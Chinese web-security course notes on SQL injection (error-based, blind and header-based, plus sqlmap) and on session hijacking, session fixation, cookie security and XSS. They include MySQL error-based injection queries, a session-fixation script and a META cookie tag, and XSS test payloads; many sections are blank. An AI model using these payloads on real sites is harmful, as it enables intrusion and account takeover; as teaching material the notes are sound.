- 不同数据库SQL语句差异
- 非盲跟踪
- 报错、直接查询
方法
- 默认端口号
- Oracle:1521
- MySQL:3306
- SQL Server:1433
- PostgresQL: 5432
- mongoDB:27017
- Redis:6379
- MemcacheDB:11211
- 报错信息

- 各数据库的版本查询方法区别
MSSQL select @@version 只可以运行这条就为MSSQL
MySQL select version() / select @@version 两条都能运行就为MySQL
Oracle select banner from v$version 只可以运行这条就为Oracle
PostgreSQL select version() 只可以运行这条就为PostgreSQL
- 各数据库在字符串处理时的区别

- 各数据库与网页编程语言的搭配
常见的搭配:
- ASP和.NET: Microsoft SQL Server
- PHP: MySQL、PostgreSQL
- Java: Oracle、MySQL
SQL语句基础

- 用于与关系型数据库交互的标准 SQL 命令有
- CREATE、SELECT、INSERT、 UPDATE、DELETE 和DROP
- 分为三组
- 数据定义(Create、Drop)
- 数据操纵(Select、Insert、Update、Delete)
- 数据控制(Grant、Revoke)

- 高级操作


order by 3:按照第3列排序
超出列数,报错





union select 查询到结果会直接拼接到查询结果的下面
前面的select的字段数要和后面union select的字段数相同






4.3.2 SQL注入漏洞利用
SQL注入概述
攻击者利用Web应用程序对用户输入验证上的疏忽,在输入的数据中包含对某些数据库系统有特殊意义的符号或命令,让攻击者有机会直接对后台数据库系统下达指令,进而实现对后台数据库乃至整个应用系统的入侵
- SQL注入原理
服务端没有过滤用户输入的恶意数据,直接把用户输入的数据当做SQL语句执行,从而影响数据库安全和平台安全。
- 两个条件
- 用户能够控制输入
- 原本程序要执行的SQL语句,拼接了用户输入的恶意数据

- SQL注入带来的危害
- 绕过登录验证:使用万能密码登录网站后台等
- 获取敏感数据:获取网站管理员帐号、密码等
- 文件系统操作:列目录,读取、写入文件等
- 注册表操作:读取、写入、删除注册表等
- 执行系统命令:远程执行命令
- 万能密码


SQL注入分类
- 按照注入点类型分类
数字型(整型)注入
字符型注入
搜索型注入
数字型(整型)注入


- 字符型注入


- 搜索型注入

- 按照注入技术(执行效果)分类
- 基于布尔的盲注
- 可以根据返回页面判断条件真假的注入
- 基于时间的盲注
- 不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断
- 基于报错的注入
- 即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中
- 联合查询注入
- 可以使用union的情况下的注入
- 堆查询注入
- 同时执行多条语句的注入
SQL注入漏洞形成的原因
- 动态字符串构建引起
- 不正确的处理转义字符(宽字节注入):数据库为GBK编码为两个字节,%df和\刚好两字节组成一个汉字,可以吞掉转义闭合符的’’\‘’
- 不正确的处理错误(报错泄露信息)
- 不正确的处理联合查询
- 不正确的处理多次提交(二次注入)
- 后台存在的问题
- 后台无过滤或者编码用户数据
- 数据库可以拼接用户传递的恶意代码
- 错误处理不当
- 详细的内部错误消息显示给用户或攻击者
- 错误信息可以直接给攻击者提供下一步攻击帮助
- 不安全的数据库配置
默认账户:
SQL Server “sa” 作为数据库系统管理员账户; 默认账户名不可修改
MySQL使用 “root” 和 “anonymous” 用户账户;
Oracle则在创建数据库时通常默认会创建SYS、SYSTEMS DBSNMP和OUTLN账户权限
问题:系统和数据库管理员在安装数据库服务器时允许以roots SYSTEM或Administrator特
权系统用户账户身份执行操作。
正确方法:应该始终以普通用户身份运行服务器上的服务,降低用户权限,将用户权限只限于
本服务。
寻找SQL注入点
- GET
- GET方法
- 一种请求服务器的HTTP方法,使用该方法时,信息包含在URL中
- 点击一个链接时,一般会使用该方法
- GET请求方法的格式
?text=value1&cat=value2&num=value3.. - 修改方法
- 浏览器的导航栏中直接修改即可操纵这些参数
- HackBar插件
- POST
POST是一种用于向Web服务器发送信息的HTTP方法
数据信息无法在URL中看到
可以发送字节大的数据
修改POST包方法
- 浏览器修改扩展(Hackbar)
- 代理服务器(Burpsuite)
- 其它注入点数据
- Cookie
- Host
- User-Agent
SQL注入的过程
- 手工注入过程
(1)判断是否存在注入点
(2)判断字段长度(字段数)
(3)判断字段回显位置
(4)判断数据库信息
(5)查找数据库名
(6)查找数据库表
(7)查找数据库表中所有字段以及字段
(8)猜解账号密码
(9)登录管理员后台。
- 自动化注入工具
(1)SQL注入工具
- Sqlmap
- Havij
- sqlid
(2)ASP/JSP注入工具
- NBSI
- 阿D注入软件
- 明小子注入软件
(3)PHP注入工具
- 海阳顶端注入软件
- 穿山甲注入软件
4.3.3 SQL报错注入
SQL报错注入概述
- 报错注入
通过构造特定的SQL语句,让攻击者想要査询的信息(如数据库名、版本号、用户名等)通过页面的错误提示回显出来
- 报错注入的前提条件
- Web应用程序未关闭数据库报错函数,对于一些SQL语句的错误直接回显在页面上
- 后台未对一些具有报错功能的函数(如extractvalue、updatexml等)进行过滤
上图为数据库报错函数,extractvalue、updatexml的报错信息,可以通过mysql_error函数显示出来
- 有报错功能的函数
Xpath类型函数 (MySQL数据库版本号>=5.1.5)
extractvalue()
- 作用:对XML文档进行查询,相当于在HTML文件中用标签查找元素。
- 语法:extractvalue(XML_document, XPath_string )
参数1:XML_document是String格式,为XML文档对象的名称
参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方 - 报错原理:xml文档中查找字符位置是用 /xxx/xxx/xxx/..这种格式,如果写入其他格式就会报错,并且会返回写入的非法格式内容,错误信息如:XPATH syntax error:’xxxxxxxx’
- 实例
mysql> select extractvalue(1,concat(‘‘,user()));root@localhost‘
ERROR 1105 (HY000):XPATH syntax error:’ - 注:该函数最大显示长度为32,超过长度可以配合substr、limit等函数来显示
updatexml()
- 作用:改变文档中符合条件的节点的值。
- 语法:updatexml( XML_document, XPath_string, new_value )
参数1:XML_document是String格式,为XML文档对象的名称
参数2:XPath_string (Xpath格式的字符串),注入时可操作的地方
参数3:new_value,String格式,替换查找到的符合条件的数据 - 报错原理:同extractvalue()
- 实例
mysql> select updatexml(1,concat(‘‘,user()),1);root@localhost‘
ERROR 1105 (HY000):XPATH syntax error:’ - 注:该函数最大显示长度为32,超过长度可以配合substr、limit等函数来显示
其他函数
- floor()、rand()、count()、group by联用
- 作用
- floor(x):对参数x向下取整
- rand():生成一个0~1之间的随机浮点数
- count(*):统计某个表下总共有多少条记录*
- group by x:按照(by)一定的规则(x)进行分组
- 报错原理:qroup by与rand()使用时,如果临时表中没有该主键,则在插入前会再计算一次rand(),然后再由qroup by将计算出来的主键直接插入到临时表格中,导致主键重复报错,错误信息如:Duplicate entry ‘… ‘for key’group key’
(参考资料:https://www.cnblogs.com/litlife/p/8472323.html) - 实例
mysql> select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a;
ERROR 1062 (23000): Duplicate entry ‘root@localhost1’ for key ‘group key’
- 作用
- exp() (5.5.5<= MySQL数据库版本号 <=5.5.49)
- 作用:计算以e(自然常数)为底的幂值
- 语法:exp(x)
- 报错原理:当参数x超过710时,exp()函数会报错,错误信息如:DOUBLE value is out of range:
…… - 实例
mysql> select exp((select * from (select user()) as x));((select ‘root@localhost‘ from dual)
ERROR 1690 (22003): DOUBLE value is out of range in ‘exp(
- floor()、rand()、count()、group by联用

SQL报错注入实例



4.3.4 SQL盲注
SQL盲注概述
- 盲注
- 在SQL注入过程中,SQL语句执行后,选择的数据不能回显到前端页面,此时需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
- 在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同)。一般情况下,盲注可分为两类:
- 基于布尔的盲注(Boolean based)
- 基于时间的盲注(Time based)
- 盲注分为两种
- 基于布尔的盲注
某些场合下,页面返回的结果只有两种(正常或错误)。通过构造SQL判断语句,查看页面的返回结果(True or False)来判断哪些SQL判断条件成立,通过此来获取数据库中的数据。 - 基于时间的盲注
又称延时注入,即使用具有延时功能的函数sleep、benchmark等,通过判断这些函数是否正常执行来获取数据库中的数据。
SQL盲注常用函数
- 条件语句









SQL盲注实例
- 基于布尔的盲注实例







- 基于时间的盲注实例






4.3.5 HTTP文件头注入
HTTP Header概述
- HTTP工作原理

- HTTP报文类型

- HTTP请求报文组成

- HTTP请求的方法

- HTTP响应报文组成

- HTTP响应消息状态码

- HTTP Header内容
User-Agent:使服务器能够识别客户端使用的操作系统,浏览器版本等(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)
Cookie:网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)
Host:客户端指定自己想访问的Web服务器的域名/IP地址和端口号。
X-Forwarded-For:简称XFF头,它代表客户端(即HTTP的请求端)真实的IP(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库或某文件,通过修改XFF头可以实现伪造IP)
Client-lP:同上。
Referer:浏览器向Web服务器表明自己是从哪个页面链接过来的。
HTTP Header注入
有时候,后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(比如User-Agent、Accept字段等)会对客户端HTTP Header进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。
- HTTP Header注入的前提条件
- 能够对请求头消息进行修改
- 修改的请求头信息能够带入数据库执行
- 数据库没有对输入的请求头做过滤
- 常见的HTTP Header注入类型
- Cookie注入
- Referer注入
- User-Agent注入
- XFF注入
Cookie注入
常见场合:服务器对cookie字段进行获取,以验证客户端的身份。

Referer注入
常见场合:服务器记录referer字段用于统计网站的点击量。

User-Agent注入
常见场合:
(1)服务器记录访问者的信息,如浏览器版本、操作系统版本等
(2)服务器根据User-Agent提供的信息来给客户端推送不同的网页。

XFF注入
常见场合:一些网站的防注入功能会记录客户端真实IP地址并写入数据库

HTTP Header注入实例

注入点:


因为此处使用的是insert而不是select语句,所以只能使用报错注入,而不能使用联合查询到
4.3.6 SQLMAP基础
SQLMAP简介
SQLMAP是一个开源的自动化SQL注入工具,其主要功能是扫描、发现并利用给定的URL的SQL注入漏洞。
SQLMAP使用教程
https://github.com/sqlmapproject/sqlmap/wiki/UsageSQLMAP可以对URL干嘛?
- 判断可注入的参数
- 判断可以使用哪一种SQL注入技术进行注入
- 判断识别数据库的类型
- 根据用户的选择,从数据库中读取数据
- SQLMAP支持的注入技术
- 基于布尔的盲注:根据返回页面判断条件真假的注入。
- 基于时间的盲注:不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
- 基于报错的注入:页面会返回错误信息,或者把注入的语句的结果直接返回在页面中
- 基于联合查询的注入:可以使用UNION的情况下的注入,
- 堆查询注入:同时执行多条语句的注入。
- SQLMAP支持的数据库类型
- 主要包括一些关系型数据库(RMDBS),如MySQL、Oracle、PostgreSQL、Microsoft SOL Server、Microsoft Access、lBM DB2、SQLite、 Firebird、Sybase、SAP MaxDB、Informix、HSQLDB等
- SQLMAP检测注入漏洞的流程
- 网站连通性检测:检测目标的连接状态
- WAF探测:检测网站是否受WAF保护
- 网页稳定性检测:检测网页是否稳定
- 参数动态性检测:检测参数是否具有动态性
- 启发式注入检测:探测该参数点是否是动态的、是否为可能的注入点
- SQLMAP的误报检测机制
- 误报检测:SQLMAP的布尔盲注、时间盲注方式判断注入点时,存在误报的可能为防止误报,SQLMap引入了误报检测机制。
- 两个基础检测算法
- 页面相似度对比技术(在各种注入技术中大量使用):在SQLMap检测的整个过程中,会有一个原始响应的定义,指的是在网站连通性检测的过程中,如果网站成功响应,则把该响应定义为原始响应(包括状态码、HTTP响应头、HTTP响应一个HTTP请求成功响应后,将与原始响应进行对比,得出对比结果,算体)。法输出为True表示当前响应与原始响应相似,算法输出为False表示当前响应与原始响应不相似。
- 高斯分布识别响应机制(在UNION注入和时间盲注过程中使用):网站的响应是基于逻辑的,如果一组请求,网站的处理逻辑相同,那么响应几乎也是相同的如果某一个响应出现了变化,则可以认为网站处理逻辑变了,这种逻辑的变化,可能正是因为注入成功了
SQLMAP基本使用
-u参数(GET)


-r参数(POST)






-m参数(多个URL)

第四部分 XSS漏洞原理与验证
4.4.1 会话管理
Web会话管理概述
- 会话管理
在人机交互时,会话管理是保持用户的整个会话活动的互动与计算机系统跟踪过程,会话管理分类:桌面会话管理、浏览器会话管理、Web服务器的会话管理。
- 为什么需要会话管理
HTTP是一种无状态协议,一次请求结束,客户端与服务端的连接就会断开,服务器再次收到请求时,无法识别此次请求是哪个用户发过来的,需要重新建立连接。为了判断发送请求的用户,需要一种记录用户的方式,也就是Web应用会话管理。
- 常见的Web应用会话管理的方式
- 基于server端session的管理方式
- cookie-based的管理方式
- token-based的管理方式
Web会话管理方式
基于server端session的管理的方式
在早期的Web应用中,通常使用服务端session来管理用户的会话
服务端session是用户第一次访问应用时,服务器就会创建的对象,代表用户的一次会话过程,可以用来存放数据。服务器为每一个session都分配一个唯一的sessionID,以保证每个用户都有一个不同的session对象。
服务器在创建完session后,会把sessionID通过cookie返回给用户所在的浏览器,这样当用户第二次及以后向服务器发送请求的时候,就会通过cookie把sessionID传回给服务器,以便服务器能够根据sessionID找到与该用户对应的session对象。
session通常设定有有效时间,比如1个小时。当时间失效后,服务器会销毁之前的session,并创建新的session返回给用户。但是只要用户在失效时间内,有发送新的请求给服务器,通常服务器都会把他对应的session的有效时间根据当前的请求时间再重新刷新。
session在一开始并不具备会话管理的作用。它只有在用户登录认证成功之后,并且往session对象里面放入了用户登录成功的凭证,才能用来管理会话。管理会话的逻辑也很简单,只要拿到用户的session对象,看它里面有没有登录成功的凭证,就能判断这个用户是否已经登录。当用户主动退出的时候,会把它的session对象里的登录凭证清掉,所以在用户登录前或退出后或者session对象失效时,肯定都是拿不到需要的登录凭证的

优点:
1、某些地方使用可以简化Web开发:如果在诸多Web页面间传递一个变量,那么用session变量要比通过QueryString传递变量可使问题简化。
2、安全性好:客户端与服务端保持会话状态的媒介始终只是一个sessionID串,只要这个串够随机,攻击者就不能轻易冒充他人的sessionID进行操作;除非通过CSRF或http劫持的方式,才有可能冒充别人进行操作;即使冒充成功,也必须被冒充的用户session里面包含有效的登录凭证才行。
缺点:
1、这种方式将会话信息存储在Web服务器里面,当用户同时在线量比较多时,这些会话信息会占据比较多的内存;
2、当应用采用集群部署的时候,会遇到多台web服务器之间如何做session共享的问题。
3、多个应用要共享session时,还会遇到跨域问题。不同的应用可能部署的主机不一样,需要在各个应用做好cookie跨域的处理。

cookie-based的管理方式
session的管理方式会增加服务器的负担和架构的复杂性,所以后来就提出把用户的登录凭证直接存到客户端的方案,当用户登录成功之后,把登录凭证写到cookie里面,并给cookie设置有效期,后续请求直接验证存有登录凭证的cookie是否存在以及凭证是否有效,即可判断用户的登录状态。
- Cookie与Session最大的区别
- Cookie将数据存储在客户端
- Session将数据存储在服务端
用户发起登录请求,服务端根据传入的用户密码之类的身份信息,验证用户是否满足登录条件,如果满足,就根据用户信息创建一个登录凭证,这个登录凭证简单来说就是一个对象,最简单的形式可以只包含用户id、凭证创建时间和过期时间三个值。
服务端把上一步创建好的登录凭证,先对它做数字签名,然后再用对称加密算法做加密处理,将签名、加密后的字串,写入cookie。cookie的名字必须固定(如ticket),因为后面再获取的时候,还得根据这个名字来获取cookie值。这一步添加数字签名的目的是防止登录凭证里的信息被篡改,因为一旦信息被篡改,那么下一步做签名验证的时候肯定会失败。做加密的目的,是防止cookie被别人截取的时候,无法轻易读到其中的用户信息。
用户登录后发起后续请求,服务端根据上一步存登录凭证的cookie名字,获取到相关的cookie值。然后先做解密处理,再做数字签名的认证,如果这两步都失败,说明这个登录凭证非法;如果这两步成功,接着就可以拿到原始存入的登录凭证了。然后用这个凭证的过期时间和当前时间做对比,判断凭证是否过期,如果过期,就需要用户再重新登录;如果未过期,则允许请求继续。

优点:
1、实现了服务端的无状态化(最大的优点),服务端只需要负责创建和验证登录cookie即可,无需保持用户的状态信息。
2、cookie可以跨越同域名下的的多个网页,但不能跨越多个域名使用
3、可以设置有效期限,控制cookie的生命周期,使之不会永远有效(攻击者可能拿到的是过期的cookie)
缺点:
1、cookie有大小限制,存储不了太多数据。
2、每次传送cookie,增加了请求的数量,对访问性能也有影响
3、同样存在跨域问题(不同域名无法互相读取cookie)
token-based的管理方式
Session和Cookie两种会话管理方式由于都要用到Cookie,不适合用在native app里面,因为native app不是浏览器,不好管理Cookie,因此都不适合做纯API服务的登录认证。要实现API服务的登录认证,就需要用到token-based的会话管理方式。
token-based的管理方式从流程上和实现上跟cookie-based的管理方式没有太多区别,只不过cookie-based的管理方式中写到cookie里面的ticket在这种方式下称为token,这个token在返回给客户端之后,后续请求都必须通过url参数或者是http header的形式,主动带上token,这样服务端接收到请求之后就能直接从http header或者url里面取到token进行验证。

优点:
1、支持跨域访问:Cookie是不支持跨域访问的,Token支持
2、无状态:Token无状态,Session有状态(有状态和无状态最大的区别就是服务端会不会保存客户端的信息)
3、支持移动设备:Token更适用于移动应用,Cookie不支持手机端访问
缺点:
1、占带宽:正常情况下Token要比sessionID更大,需要消耗更多的流量,挤占更多带宽
2、无法在服务端注销,很难解决劫持问题
Web会话管理安全问题
在Web应用里,会话管理的安全性始终是最重要的安全问题,对用户的影响极大。
从会话管理凭证来说,Session会话管理的会话凭证仅仅是一个sessionID,所以只要这个sessionID足够随机,那么攻击者就不会轻易地冒充别人的sessionID进行操作;Cookie会话管理的凭证(ticket)以及Token会话管理证(token)都是一个在服务端做了数字签名和加密处理的串,所以只要密钥不泄露,攻击者也无法轻易拿到这个串中有效信息并对它进行篡改。总之,这三种会话管理方式的凭证本身是比较安全的。
从客户端和服务端的HTTP过程来说,当攻击者截获到客户端请求中的会话凭证就能拿这个凭证冒充原用户,做一些非法操作,而服务器也认不出来。这种安全问题可以简单采用HTTPS来解决,虽然可能还有HTTP劫持这种更高程度的威胁存在,但是从代码能做的防范,确实也就是这个层次了。
4.4.2 Session攻击
Session攻击简介
Session对于Web应用是最重要的,也是最复杂的。对于Web应用程序来说,加强安全性的首要原则就是:不要信任来自客户端的数据,一定要进行数据验证以及过滤才能在程序中使用,再保存到数据层。然而,为了维持来自同一个用户的不同请求之间的状态,客户端必须要给服务器端发送一个唯一的身份标识符(Session ID)。 很显然,这和前面提到的安全原则是矛盾的,但是没有办法,http协议是无状态的,为了维持状态,我们别无选择。由此可以看出,Web应用程序中最脆弱的环节就是session,因为服务器端是通过来自客户端的一个身份标识来认证用户的,所以session是Web应用程序中最需要加强安全性的环节。
- 主要攻击方式
基于session的攻击有很多种方式。大部分的手段都是首先通过捕获或者固定合法用户的session,然后冒充该用户来访问系统。也就是说,攻击者至少必须要获取到一个有效的session标识符,用于接下来的身份验证。
攻击者至少可以通过以下三种方式来获取一个有效的session标识符
- 预测
- 捕获(劫持)
- 固定
会话预测
- 原理
会话预测这种方式需要攻击者猜测出系统中使用的有效的session标识符(PHP中格式为PHPSESSID=1234),类似暴力破解。
目前会话预测这种攻击方式基本上不太可能成功
- PHP生成随机的sessionid往往是极其复杂的并且难于被预测出来
- PHP生成session字符串无任何规律和顺序
会话劫持
- 含义
通过窃取合法用户SessionID后,使用该SessionID登录目标账号的攻击方法。
会话劫持最重要的部分是取得一个合法的会话标识来伪装成合法用户。
- 攻击步骤
(1)目标用户需要先登录站点
(2)登录成功后,该用户会得到站点提供的一个会话标识SessionID
(3)攻击者通过某种攻击手段捕获SessionID
(4)攻击者通过捕获到的SessionID访问站点即可获得目标用户合法会话

- 攻击者获取SessionlD的方式
- 暴力破解:尝试各种SessionID,直到破解为止
- 预测:如果SessionID使用非随机的方式产生,那么就有可能计算出来
- 窃取:使用网络嗅探、XSS攻击等方法获得
对于php来说,其内部Session的实现机制虽然不是很安全,但是关于生成SessionlD的环节还是比较安全的,这个随机的SessionID往往是极其复杂的并且难于被预测出来,所以,暴力破解SessionID和预测SessionlD的攻击方式基本上是不太可能成功的。
对于窃取SessionID的方式大多使用网络数据通讯层进行攻击获取,可以使用SSL进行防御。
- 会话劫持防御方法
(1)更改Session名称:PHP中Session的默认名称是PHPSESSID,此变量会保存在Cookie中,如果攻击者不分析站点,就不能猜到Session名称,可以阻挡部分攻击
(2)关闭透明化SessionlD:透明化SessionID指当浏览器中的Http请求没有使用Cookie来存放SessionlD时,SessionID则使用URL来传递。
(3)设置HttpOnly:通过设置Cookie的HttpOnly为true,可以防止客户端脚本访问这个Cookie,从而有效的防止XSS攻击。
(4)关闭所有phpinfo类dump request信息的页面:phpinfo页面会dump出请求信息,其中就包括Cookie信息
(5)验证HTTP头部信息
- 中间人攻击(MITM)
中间人攻击(Man-in-the-MiddleAttack,简称“MITM攻击”)是一种通过窃取或篡改通信物理、逻辑链路间接完成攻击行为的网络攻击方法。攻击者与通信的两端分别创建独立的联系,并交换其所收到的数据,使通讯的两端认为他们正在通过一个私密的连接与对方直接对话,实际上整个会话都被攻击者完全控制。这个被攻击者控制的通信节点就是所谓的“中间人“
中间人攻击有两种常见形式:
基于监听的信息窃取
基于监听的身份冒认
中间人攻击难以防御的原因:
(1)攻击者在窃听时,一般网络连接仍能正常运行,不会断线,因此很少有人会主动发现
(2)受害者电脑上不会被安装木马或恶意软件,难以被杀毒软件发现
(3)攻击者在欺骗网络协议时,虽然会留下一些蛛丝马迹,但由于网络设备不会保留太多记录,事后难以追踪
(4)绝大多数的网络协议,仍然基于“对方的数据是安全可靠”的假设来运作的,这导致攻击者有太多漏洞可以利用进行欺骗网络设备、伪装成中间人
会话固定
- 含义
- 诱骗受害者使用攻击者指定的会话标识(SessionlD)的攻击手段。
- 这是攻击者获取合法会话标识的最简单的方法。(让合法用户使用攻击者预先设置的SessionID进行登录,从而使Web不再进行生产新的SessionID,导致攻击者预先设置的SessionID变成了合法桥梁)
会话固定也可以看成是会话劫持的一种类型,因为会话固定攻击的主要目的同样是获得目标用户的合法会话,不过会话固定还可以是强迫受害者使用攻击者设定的一个有效会话,以此来获得用户的敏感信息。
- 攻击步骤
(1)攻击者通过某种手段重置目标用户的SessionID,然后监听用户会话状态
(2)目标用户携带攻击者设定的SessionID登录站点
(3)攻击者通过SessionID获得合法会话

- Web接收SessionID机制
早期浏览器存储的sessionID容易暴露、使用URL来传送sessionID
首先检查携带cookie是否含有sessionID;若没有则再检查get、post数据中是否含有,若有则使用此数据;没有才会使系统生成一个sessionID发给客户端。
- 重置Session lD的方式
- 使用客户端脚本来设置Cookie到浏览器
1 | <script>document.cookie="PHPSESSID=99999";</script> |
这种方式可以使用XSS来达到目的
- 使用HTML的<META>标签加Set-Cookie属性。
服务器可以在返回的HTML文档中增加<META>标签来设置Cookie
1 | <meta http-equiv='Set-Cookie'content='PHPSESSID=23333'> |
与客户端脚本相比,对<META>标签的处理目前还不能被览器禁止
- 使用Set-Cookie的HTTP响应头部设置Cookie
攻击者可以使用一些方法在Web服务器的响应中加入Set-Cookie的HTTP响应头部
- 防御方案
(1)每当用户登陆的时候就进行重置SessionID
(2)Session lD闲置过久时,进行重置Session lD
(3)大部分防止会话劫持的方法对会话固定攻击同样有效。如设置HttpOnly,关闭透明化SessionlD,User-Agent验证,Token校验等
4.4.3 Cookie安全
Cookie机制
一般来说,同域内浏览器中发出的任何一个请求都会带上Cookie,无论请求什么资源,请求时,Cookie出现在请求头的Cookie字段中。服务端响应头的Set-Cookie字段可以添加、修改和删除Cookie,客户端通过javascript也可以添加、修改和删除Cookie。另外,**Cookie是无法跨浏览器存在的**。
利用Cookie机制,我们可以存储用户的会话信息,比如,用户登陆认证后的Session,之后同域内发出的请求都会带上认证后的会话信息,很方便。也因此,攻击者特别喜欢盗取Cookie,这相当于盗取了目标网站上的用户权限。
- Cookie重要字段
- setcookie()函数用于设置cookie
- [name][value][expires][path][domain][secure][httponly]
含义依次是:名称、值、过期时间、所属相对路径、域名、是否有Secure标志、否有HttpOnly标志

- 子域Cookie机制
Domain字段,设置cookie时,如果不指定则默认是本域。
例如x.xxx.com域通过javaScript设置一个cookie:
Document.cookie=”test=1”
此时,domain值默认是x.xxx.com,如果通过javaScript设置一个父域:
Document.cookie=”test=1”;domain=”xxx.com”
此时,domain域变成xxx.com,这样的好处就是可以在不同的子域共享Cookie;坏处就是攻击者通过控制其他子域也能读到这个Cookie。
注意:此机制不允许设置Cookie的domain为下一级子域或其他外域。
- 路径Cookie机制
path字段,设置cookie时,如不指定path的值,则默认是当前页面路径
例如:www.xxx.com/admin/index.php页面通过JavaScript设置一个cookie
document.cookie=”test=1”
此时,path值默认是/admin/。
通过指定path字段,JavaScript可以设置任意Cookie到任意路径下,但是只有目标路径(/admin/路径)下的页面JavaScript才能读取到该Cookie。但是,通过设置path不能防止重要的Cookie被窃取。比如/test/路径想读取/admin/路径的Cookie,可以通过跨iframe进行Dom操作实现。
- HttpOnly Cookie机制
HttpOnly是Cookie的一种属性,用于告诉浏览器不要向客户端脚本暴露Cookie。指仅在HTTP层面上传输Cookie,当设置了HttpOnly属性后,客户端脚本就无法读写该Cookie,能有效的防御XSS攻击获取Cookie。
设置
Cookie操作函数setcookie函数也专门添加了第7个参数来做为HttpOnly的选项。
1 | 开启方法为: |
HttpOnly开启会限制访问cookie,但是如果服务器响应页面有cookie调试信息,还是会导致cookie泄露

CVE漏洞:

- Secure Cookie机制
Secure Cookie机制指的是设置了Secure标志的Cookie仅在HTTPS层面上安全传输,如果请求是HTTP的就不会带上这个Cookie,这样能降低重要的Cookie被中间人截获的风险。但是,Secure Cookie对于客户端脚本来说是可读写的,也就意味着,它能够被盗取和篡改。可通过如下的JS代码可对已知的Secure Cookie进行篡改:

Cookie存储
- 本地Cookie与内存Cookie
存储方式与过期时间(expires)相关。
如果没设置过期时间,则是内存Cookie,这样的Cookie会随着浏览器关闭而从内存中消失;如果设置了过期时间,那么就是本地Cookie,这样的Cookie就会以文本形式保存在操作系统本地,待过期时间到了才会消失。
document.cookie=”expires=1;expires=Mon, 01 Jan 2021 00:00:00 GMT”//GMT时间,2021年1月1日才会过期
- 本地Cookie与存储Cookie那种方式更安全?
采用本地Cookie可以让用户在未来某一段时间内都不需要进行登录操作,但是,如果攻击者通过XSS得到这样的本地Cookie后,就能够在未来很长一段时间内,甚至永久控制着目标用户的账号权限。但这并不意味着内存Cookie更安全,因为攻击者可以给内存Cookie加一个过期时间,使其变为本地Cookie。
- 本地存储方式
浏览器本地存储是一种在浏览器中长久保存数据的方法,为本地数据持久化,当我们刷新页面或者同域名内页面跳转仍然可以保留数据。浏览器本地存储,对服务器来说减小存储压力;对用户来说,相应速度变快,提升用户体验。

4.4.4 HTTP协议安全
Weak Session lDs(弱会话IDs)
当用户登录后,在服务器就会创建一个会话(Session),叫做会话控制,再访问页面的时候就不用登录,只需要携带Session去访问。
SessionID作为特定用户访问站点所需要的唯一内容。如果能够计算或轻易猜到该SessionlD,则攻击者将可以轻易获取访问权限,无需登录直接进入特定用户界面,进而执行其他操作。
用户访问服务器的时候,在服务器端会创建一个新的会话(Session),会话中会保存用户的状态和相关信息,用于标识用户。服务器端维护所有在线用户的Session,此时的认证,只需要知道是哪个用户在浏览当前的页面即可。为了告诉服务器应该使用哪一个Session,浏览器需要把当前用户持有的SessionID告知服务器。用户拿到
SessionlD就会加密后保存到 cookies 上,之后只要cookies随着http请求发送服务器,服务器就知道你是谁了。SessionlD一旦在生命周期内被窃取,就等同于账户失窃。
Session利用的实质:由于SessionID是用户登录之后持有的唯一认证凭证,因此黑客不需要再攻击登陆过程(比如密码),就可以轻易获取访问权限,无需登录密码直接进入特定用户界面,进而查找其他漏洞如XSS、文件上传等等。
Session劫持:就是一种通过窃取用户SessionlD,使用该SessionID登录进目标账户的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。如果SessionlD是保存在Cookie中的,则这种攻击可以称为Cookie劫持。SessionID还可以保存在URL中,作为一个请求的一个参数,但是这种方式的安全性难以经受考验。








HTTP协议存在的安全问题

HTTPS协议









4.4.5 XSS跨站脚本攻击–XSS漏洞概述
XSS漏洞概述
- XSS介绍
XSS被称为跨站脚本攻击(Cross-sitescripting),由于和CSS(Cascading Style Sheets)重名,所以改为XSS。
XSS主要基于javascript语言完成恶意的攻击行为,因为javascript可以非常灵活的操作html、css和浏览器。
XSS就是指通过利用网页开发时留下的漏洞(由于Web应用程序对用户的输入过滤不足),巧妙的将恶意代码注入到网页中,使用户浏览器加载并执行攻击者制造的恶意代码,以达到攻击的效果。这些恶意代码通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、Flash 或者普通的HTML。
当用户访问被XSS注入的网页,XSS代码就会被提取出来。用户浏览器就会解析这段XSS代码,也就是说用户被攻击了。
用户最简单的动作就是使用浏览器上网,并且浏览器中有javascript 解释器,可以解析javascript,然而由于浏览器并不具有人格,不会判断代码是否恶意,只要代码符合语法规则,浏览器就会解析这段XSS代码。
简单来说,XSS就是通过攻击者精心构造的JS代码注入到网页中,并由浏览器解释运行这段JS代码,以达到恶意攻击浏览器的效果。XSS攻击的对象是用户浏览器,属于被动攻击。因此XSS攻击涉及到三个角色:
- 攻击者
- 用户浏览器
- 服务器
从上述可知,XSS属于客户端攻击,受害者最终是用户,不要以为受害者是用户就认为跟自己的网站、服务器安全就没有关系。不要忘记,网站的管理员也是用户之一!因为管理员要比普通用户权限大的多,可以利用当其跳板实施攻击。
实施XSS攻击需要具备的两个条件:
- 需要向Web页面注入精心构造的恶意代码
- 对用户的输入没有做过滤,恶意代码能够被浏览器成功的执行
- XSS验证
XSS验证语句:
1 | <script>alert(/xss/)</script> 常用 |
在测试页面中提交上述的代码,浏览器执行后就能看到弹框的操作,弹窗的目的是验证JS代码是否被执行。我们发现,提交的代码<script>alert(‘xss”)</script>,被当做字符串输出在HTML页面中,浏览器会根据<script>标签识别为JS代码,并会执行它,执行弹窗操作。也就是我们可以执行JS代码,验证了XSS漏洞的存在性。
- XSS危害
- 盗取各种用户账号
- 窃取用户Cookie资料,冒充用户身份进入网站
- 劫持用户会话,执行任意操作
- 刷流量,执行弹窗广告
- 传播蠕虫病毒
- 攻击者能在一定限度内记录用户的键盘输入
